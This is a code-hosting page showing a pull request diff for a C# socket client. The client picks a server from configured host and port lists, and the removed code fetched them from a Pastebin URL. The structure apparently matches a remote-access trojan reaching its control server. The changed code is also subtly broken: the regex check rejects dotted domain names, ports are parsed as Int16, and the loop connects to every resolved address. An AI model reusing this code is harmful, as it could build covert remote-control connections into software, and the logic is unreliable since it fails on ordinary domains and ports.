Merge pull request #56 from MrDevBot/patch-2
DDNS Resolver for Initialise Client
This commit is contained in:
commit
7d988be105
@ -44,21 +44,28 @@ namespace Client.Sockets
|
|||||||
};
|
};
|
||||||
if (Settings.Pastebin == "null")
|
if (Settings.Pastebin == "null")
|
||||||
{
|
{
|
||||||
Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]),
|
Regex r = new Regex("^[a-zA-Z0-9]*$");
|
||||||
Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
|
string ServerIP = Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]);
|
||||||
}
|
Int16 ServerPort = Convert.ToInt16(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]);
|
||||||
else
|
|
||||||
{
|
|
||||||
using (WebClient wc = new WebClient())
|
if (r.IsMatch(ServerIP)) //check if the address is alphanumric (meaning its a domain)
|
||||||
{
|
{
|
||||||
NetworkCredential networkCredential = new NetworkCredential("", "");
|
IPAddress[] addresslist = Dns.GetHostAddresses(ServerIP); //get all IP's connected to that domain
|
||||||
wc.Credentials = networkCredential;
|
|
||||||
string resp = wc.DownloadString(Settings.Pastebin);
|
foreach (IPAddress theaddress in addresslist) //we do a foreach becasue a domain can lead to multiple IP's
|
||||||
string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None);
|
{
|
||||||
Settings.Hosts = spl[0];
|
Client.Connect(theaddress, ServerPort); //lets try and connect!
|
||||||
Settings.Ports = spl[new Random().Next(1, spl.Length)];
|
}
|
||||||
Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
|
|
||||||
}
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
Client.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS)
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
//Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]),
|
||||||
|
// Convert.ToInt16(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
|
||||||
}
|
}
|
||||||
|
|
||||||
Debug.WriteLine("Connected!");
|
Debug.WriteLine("Connected!");
|
||||||
@ -193,4 +200,4 @@ namespace Client.Sockets
|
|||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user